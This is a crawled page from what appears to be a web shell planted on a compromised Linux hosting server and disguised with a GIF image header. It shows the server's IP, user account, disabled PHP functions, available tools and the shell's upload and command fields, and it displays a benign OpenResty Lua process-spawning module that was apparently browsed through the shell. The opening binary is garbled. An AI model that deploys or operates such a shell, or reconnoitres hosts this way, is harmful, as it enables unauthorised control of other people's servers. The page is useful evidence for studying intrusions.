GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ý NETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýý m&ýýE8ýSýkGýAýpxýaýýý R2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|s hýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPý ýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbx ýl5}ýpý ýýý ý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~ 6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5 !_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýý ýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp% AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ý ýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`A ý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý 403WebShell
403Webshell
Server IP : 217.18.85.50  /  Your IP : 3.145.115.45
Web Server : LiteSpeed
System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64
User : ferhatgenc ( )
PHP Version : 7.2.34
Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/imunify360-webshield/lualib/resty/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/imunify360-webshield/lualib/resty/shell.lua
local _M = {
    version = 0.03
}


local resty_sig = require "resty.signal"
local ngx_pipe = require "ngx.pipe"
local new_tab = require "table.new"
local tablepool = require "tablepool"


local kill = resty_sig.kill
local pipe_spawn = ngx_pipe.spawn
local tostring = tostring
local spawn_thread = ngx.thread.spawn
local wait_thread = ngx.thread.wait
local concat = table.concat
local fetch_tab = tablepool.fetch
local release_tab = tablepool.release
local sleep = ngx.sleep


local spawn_opts = {
    buffer_size = 1024 * 32  -- 32K
}


local tab_pool_tag = "resty.shell"


local function cleanup_proc(proc)
    local pid = proc:pid()
    if pid then
        local ok, err = kill(pid, "TERM")
        if not ok then
            return nil, "failed to kill process " .. pid
                .. ": " .. tostring(err)
        end
        sleep(0.001)  -- only wait for 1 msec
        kill(pid, "KILL")
    end

    return true
end


local function concat_err(err1, err2)
    return tostring(err1) .. "; " .. tostring(err2)
end


local function read_stream(proc, buf, max_size, meth_name)
    local pos = 1
    local len = 0

    while len <= max_size do
        local data, err, partial = proc[meth_name](proc, max_size - len + 1)
        if not data then
            if partial then
                buf[pos] = partial
                pos = pos + 1
                len = len + #partial
            end

            if err == "closed" then
                return pos - 1
            end

            return pos - 1, err
        end

        buf[pos] = data
        pos = pos + 1
        len = len + #data
    end

    if len > max_size then
        return pos - 1, "too much data"
    end

    return pos - 1
end


function _M.run(cmd, stdin, timeout, max_size)
    if not max_size then
        max_size = 128 * 1024  -- 128KB
    end

    local proc, err = pipe_spawn(cmd, spawn_opts)
    if not proc then
        return nil, nil, nil, "failed to spawn: " .. tostring(err)
    end

    proc:set_timeouts(timeout, timeout, timeout, timeout)

    if stdin and stdin ~= "" then
        local bytes, err = proc:write(stdin)
        if not bytes then
            local ok2, err2 = cleanup_proc(proc)
            if not ok2 then
                err = concat_err(err, err2)
            end
            return nil, nil, nil, "failed to write to stdin: " .. tostring(err)
        end
    end

    local ok
    ok, err = proc:shutdown("stdin")
    if not ok then
        local ok2, err2 = cleanup_proc(proc)
        if not ok2 then
            err = concat_err(err, err2)
        end
        return nil, nil, nil, "failed to shutdown stdin: " .. tostring(err)
    end

    local stdout_tab = fetch_tab(tab_pool_tag, 4, 0)
    local stderr_tab = fetch_tab(tab_pool_tag, 4, 0)

    local thr_out = spawn_thread(read_stream, proc, stdout_tab, max_size,
                                 "stdout_read_any")
    local thr_err = spawn_thread(read_stream, proc, stderr_tab, max_size,
                                 "stderr_read_any")

    local reason, status
    ok, reason, status = proc:wait()

    if ok == nil and reason ~= "exited" then
        err = reason
        local ok2, err2 = cleanup_proc(proc)
        if not ok2 then
            err = concat_err(err, err2)
        end

        local stdout = concat(stdout_tab)
        release_tab(tab_pool_tag, stdout_tab)

        local stderr = concat(stderr_tab)
        release_tab(tab_pool_tag, stderr_tab)

        return nil, stdout, stderr,
               "failed to wait for process: " .. tostring(err)
    end

    local ok2, stdout_pos, err2 = wait_thread(thr_out)
    if not ok2 then
        local stdout = concat(stdout_tab)
        release_tab(tab_pool_tag, stdout_tab)

        local stderr = concat(stderr_tab)
        release_tab(tab_pool_tag, stderr_tab)

        return nil, stdout, stderr, "failed to wait stdout thread: "
            .. tostring(stdout_pos)
    end

    if err2 then
        local stdout = concat(stdout_tab, "", 1, stdout_pos)
        release_tab(tab_pool_tag, stdout_tab)

        local stderr = concat(stderr_tab)
        release_tab(tab_pool_tag, stderr_tab)

        return nil, stdout, stderr, "failed to read stdout: " .. tostring(err2)
    end

    local stderr_pos
    ok2, stderr_pos, err2 = wait_thread(thr_err)
    if not ok2 then
        local stdout = concat(stdout_tab, "", 1, stdout_pos)
        release_tab(tab_pool_tag, stdout_tab)

        local stderr = concat(stderr_tab)
        release_tab(tab_pool_tag, stderr_tab)

        return nil, stdout, stderr, "failed to wait stderr thread: "
            .. tostring(stderr_pos)
    end

    local stdout = concat(stdout_tab, "", 1, stdout_pos)
    release_tab(tab_pool_tag, stdout_tab)

    local stderr = concat(stderr_tab, "", 1, stderr_pos)
    release_tab(tab_pool_tag, stderr_tab)

    if err2 then
        return nil, stdout, stderr, "failed to read stderr: " .. tostring(err2)
    end

    return ok, stdout, stderr, reason, status
end


return _M

Youez - 2016 - github.com/yon3zu
LinuXploit